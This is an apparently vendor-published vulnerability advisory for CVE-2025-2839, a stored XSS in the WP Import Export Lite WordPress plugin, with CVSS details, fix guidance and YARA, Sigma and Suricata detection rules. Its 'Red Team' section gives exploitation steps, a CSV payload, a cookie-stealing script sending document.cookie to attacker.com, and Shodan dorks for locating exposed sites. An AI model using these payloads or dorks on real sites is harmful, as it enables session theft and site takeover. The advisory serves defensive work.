☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-2839

CVE-2025-2839 Cross-Site Scripting in Wp import export lite
📅 PUBLISHED: 2025-04-22 05:27 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.44%
👁️
0.44% probability
11.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2839 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Import Export Lite WordPress plugin, affecting all versions up to and including 3.9.27. The flaw resides in the wpiePreviewData function, which fails to properly sanitize user input and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the injected payload, the script executes in their browser, potentially leading to session hijacking, data theft, or further compromise of the WordPress site.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin is used for importing and exporting data, making it a high-value target for attackers seeking to inject malicious content into administrative or public-facing pages.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. There is no known compromise of the plugin’s supply chain (e.g., malicious commits or backdoored updates), but the lack of a patch from the vendor increases the risk of exploitation. Organizations should treat this as a supply chain risk and consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires Contributor-level access or higher
  • User Interaction: None (UI:N) – the injected script executes automatically when the page is viewed
  • Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent XSS can lead to privilege escalation (e.g., stealing admin cookies) and further compromise of the WordPress site. The lack of a patch elevates the practical risk.

Deep Dive & Mechanics

The vulnerability exists in the wpiePreviewData function, which is used to generate previews of imported/exported data. The function takes user-supplied input (e.g., from CSV or XML files) and renders it without proper sanitization or output escaping. Specifically, the plugin fails to use WordPress’s built-in escaping functions (like esc_html() or wp_kses_post()) when outputting data in the preview.

Attack Flow:

  1. An authenticated attacker with Contributor-level access uploads a malicious import file (e.g., CSV) containing JavaScript payloads in fields like post_title or post_content.
  2. The attacker triggers the preview functionality, which calls wpiePreviewData and renders the malicious data.
  3. The payload is stored in the database (e.g., as a post or page) and executed when any user (including admins) views the preview or the final imported content.
  4. The attacker can then steal session cookies, perform actions on behalf of the victim, or inject further malicious content.

Root Cause: Insufficient input sanitization and output escaping in the wpiePreviewData function. The plugin does not validate or escape data before rendering it in the preview, allowing arbitrary HTML/JavaScript injection.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual):

function wpiePreviewData($data) {
    echo "<div>" . $data['field'] . "</div>"; // No escaping
}

Patched Code (Expected):

function wpiePreviewData($data) {
    echo "<div>" . esc_html($data['field']) . "</div>"; // Proper escaping
}

The patched version would use esc_html() or wp_kses_post() to neutralize any HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with WP Import Export Lite <= 3.9.27
  • Authenticated user with Contributor-level access or higher

Exploitation Steps:

  1. Log in as a Contributor.
  2. Navigate to the import/export feature (e.g., /wp-admin/admin.php?page=wpie-import-export).
  3. Create a malicious CSV file with a payload in a field, e.g.:
    post_title,post_content
    Test,<script>alert('XSS')</script>
    
  4. Upload the CSV and trigger the preview.
  5. The script executes when the preview is rendered. For persistent XSS, import the data so it is stored in the database.
  6. Any user viewing the imported post/page will trigger the payload.

Payload Example:

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

  • Monitor for unusual import activity, especially from Contributor-level users.
  • Look for suspicious strings in imported data (e.g., <script>, onload=, javascript:).
  • Use the YARA and Sigma rules below to detect payloads in logs or files.

Mitigation:

  • Disable the plugin until a patch is available.
  • Restrict Contributor-level access to trusted users only.
  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in import files.

Indicators of Compromise (IOCs)

  • File Hashes: N/A (no known malicious files)
  • Network Indicators: Outbound HTTP requests to attacker-controlled domains (e.g., for cookie theft)
  • Log Entries: Unusual import events in WordPress audit logs (e.g., wpie_import actions by non-admin users)
  • Database Indicators: Stored XSS payloads in wp_posts.post_content or wp_posts.post_title fields

Detection Engineering

YARA Rule

rule CVE_2025_2839_WP_Import_Export_XSS {
    meta:
        description = "Detects XSS payloads in WP Import Export Lite import files"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-2839"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onload=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onerror=" nocase
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-2839 - Stored XSS via WP Import Export Lite
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in WordPress import files
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wpie-import-export"
        http.request.body|contains: 
            - "<script"
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2839 - WP Import Export Lite XSS Attempt"; flow:to_server; content:"wpie-import-export"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released by the vendor.
  2. Review and remove any suspicious imported content from the database.
  3. Restrict Contributor-level access to only trusted users.

Long-term Fix:

  • Apply input sanitization and output escaping in the wpiePreviewData function (see patched code example).
  • Use WordPress’s wp_kses_post() for rich content or esc_html() for plain text.
  • Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workarounds:

  • Use a WAF to block XSS payloads in import files.
  • Monitor WordPress audit logs for unusual import activity.

Valters IT – Securing your digital frontier.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Import Export Lite"
http.html:"wp-import-export-lite"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2839/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.